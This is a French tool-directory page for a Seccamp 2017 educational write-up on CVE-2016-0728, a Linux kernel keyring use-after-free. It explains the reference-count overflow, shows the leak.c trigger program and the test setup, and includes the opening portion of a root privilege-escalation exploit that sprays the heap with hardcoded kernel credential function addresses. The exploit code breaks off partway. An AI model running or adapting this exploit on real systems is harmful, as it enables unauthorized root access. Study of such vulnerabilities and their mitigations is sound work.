Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2016-0728 — # Exploit du noyau Linux à but éducatif pour CVE-2016-0728 (use-after-free dans le service de rétention des clés) avec analyse détaillée, code PoC et discussion sur les mesures d'atténuation pour l'élévation de privilèges. | Kitploit
Outils/GitHubGitHub/hal0taso/cve-2016-0728
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de BinairesLabs et Pratique
GitHubhal0taso/cve-2016-0728

CVE-2016-0728

# Exploit du noyau Linux à but éducatif pour CVE-2016-0728 (use-after-free dans le service de rétention des clés) avec analyse détaillée, code PoC et discussion sur les mesures d'atténuation pour l'élévation de privilèges.

Voir le dépôt
12il y a 9 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2016-0728

Seccamp 2017 - Sujet

Le programme suivant exploite une vulnérabilité présente dans le noyau Linux 3.8 à 4.4. Expliquez les problèmes qui surviennent lors de l'exécution de ce programme. De plus, rédigez un exploit qui utilise cette vulnérabilité pour une escalade de privilèges vers root, et décrivez l'environnement de test que vous avez utilisé ainsi que les points d'ingéniosité. En outre, énumérez autant que possible les mesures d'atténuation contre de telles attaques et expliquez-les. Même si vous ne comprenez pas complètement, décrivez avec vos propres mots les informations comprises, le processus de test et vos impressions. Si vous avez consulté des sites ou des documents, indiquez clairement ces sources.

#include <stddef.h>  
#include <stdio.h>  
#include <sys/types.h>  
#include <keyutils.h>  
 
int main(int argc, const char *argv[])
{
    int i = 0;
    key_serial_t serial;
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
        perror("keyctl");
        return -1;
    }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
    for (i = 0; i < 100; i++) {
        serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
        if (serial < 0) {
            perror("keyctl");
            return -1;
        }
    }
 
    return 0;
}

Introduction

L'environnement de test est le suivant :

$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty

J'ai découvert cette vulnérabilité pour la première fois, et je décris ici ce que j'ai appris en cherchant ainsi que ce que j'ai essayé au cours de ce processus. Tout d'abord, j'explique le service de stockage de clés utilisé dans ce programme, puis la vulnérabilité Use-After-Free exploitée par ce programme et ce qui la cause dans le programme, et enfin les problèmes qui en découlent. Cette vulnérabilité est enregistrée sous le nom CVE-2016-0728, et j'ai consulté le site suivant pour son aperçu :

http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/

Comme c'était aussi la première fois que j'entendais parler du service de stockage de clés Linux, j'ai consulté la page Web d'introduction au service de stockage de clés Linux d'IBM :

https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html

ainsi que le code source du noyau Linux 3.19 de l'environnement de test :

https://www.kernel.org/

Pour envoyer les messages du noyau à l'OS hôte via le réseau, j'ai utilisé : DEBUG HACKS - Techniques & outils pour maîtriser le débogage (O'REILLY)

Ce programme (appelé leak.c ci-après) exploite un bogue dans le service de stockage de clés Linux, qui conduit à une vulnérabilité Use-After-Free. La vulnérabilité Use-After-Free se produit lorsqu'une incohérence du programme permet de référencer une adresse mémoire de tas déjà libérée, rendant possible l'exécution de code arbitraire. Tout d'abord, j'explique l'appel système keyctl() utilisé par ce programme, puis je décris le bogue qui s'y trouve.

Chaque processus peut créer un trousseau de clés (keyring) par processus pour la session courante via l'appel système keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). Ce trousseau peut être partagé entre les processus en utilisant le nom name. Si un processus possède déjà un trousseau de session, cet appel système le remplace par un nouveau trousseau. Pour mieux comprendre ce comportement, j'ai consulté la fonction join_session_keyring dans /security/keys/process_keys.c du code source du noyau. Elle se présente comme suit : lors du remplacement du trousseau de session par un nouveau, la fonction key_put est sautée. key_put est une fonction qui détruit la référence au trousseau passé en argument. En la sautant, la référence au nouveau trousseau persiste, ce qui conduit à la vulnérabilité Use-After-Free.

Lorsque ce trousseau est partagé entre les processus, le compteur de références interne stocké dans le membre usage de la structure key augmente. Le membre usage est de type atomic_t, qui est en fait défini comme un typedef d'une structure contenant une seule variable int. De plus, comme il n'y a pas de mécanisme pour empêcher le débordement de ce membre, on peut augmenter ce membre jusqu'à ce qu'il déborde et atteigne 0. Lorsque usage atteint 0, le trousseau est libéré par le ramasse-miettes interne du sous-système de clés. En plaçant dans cette zone libérée, depuis l'espace utilisateur, un module noyau effectuant un traitement arbitraire, ce traitement peut être exécuté avec les privilèges du noyau.

Sur le site consulté, si l'on compile leak.c avec la bibliothèque keyutils et qu'on l'exécute, un trousseau de session nommé leaked_key est enregistré dans /proc/keys et est référencé 100 fois. Il vérifiait que leaked-keyring s'affiche comme suit avant et après l'exécution de ce programme :

# Avant exécution
$ cat /proc/keys
$ ./leak
# Après exécution
$ cat /proc/keys
0fd435e9 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty

Cependant, dans mon environnement de test, leaked-keyring ne s'affichait pas. J'ai essayé de mettre la condition de la boucle for à une valeur élevée comme i < 0x1000000, et pendant l'exécution du programme, leaked-keyring s'affichait. Dans ce cas, l'attaque réussit en faisant déborder usage pour libérer la clé, puis en plaçant un nouvel objet noyau à cet emplacement. J'ai donc décidé d'essayer. Le code de l'exploit a été consulté sur le site suivant :

https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)

struct key_type {
    char * name;
    size_t datalen;
    void * vet_description;
    void * preparse;
    void * free_preparse;
    void * instantiate;
    void * update;
    void * match_preparse;
    void * match_free;
    void * revoke;
    void * destroy;
};

void userspace_revoke(void * key) {
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
	const char *keyring_name;
	size_t i = 0;
    unsigned long int l = 0x100000000/2;
	key_serial_t serial = -1;
	pid_t pid = -1;
    struct key_type * my_key_type = NULL;
    
struct { long mtype;
		char mtext[STRUCT_LEN];
	} msg = {0x4141414141414141, {0}};
	int msqid;

	if (argc != 2) {
		puts("usage: ./keys <key_name>");
		return 1;
	}

    printf("uid=%d, euid=%d\n", getuid(), geteuid()); 
    commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
    prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
    
    my_key_type = malloc(sizeof(*my_key_type));

    my_key_type->revoke = (void*)userspace_revoke;
    memset(msg.mtext, 'A', sizeof(msg.mtext));

    // key->uid
    *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
    //key->perm
    *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

    //key->type
    *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("msgget");
        exit(1);
    }

    keyring_name = argv[1];

	/* Set the new session keyring before we start */
Télécharger l’outil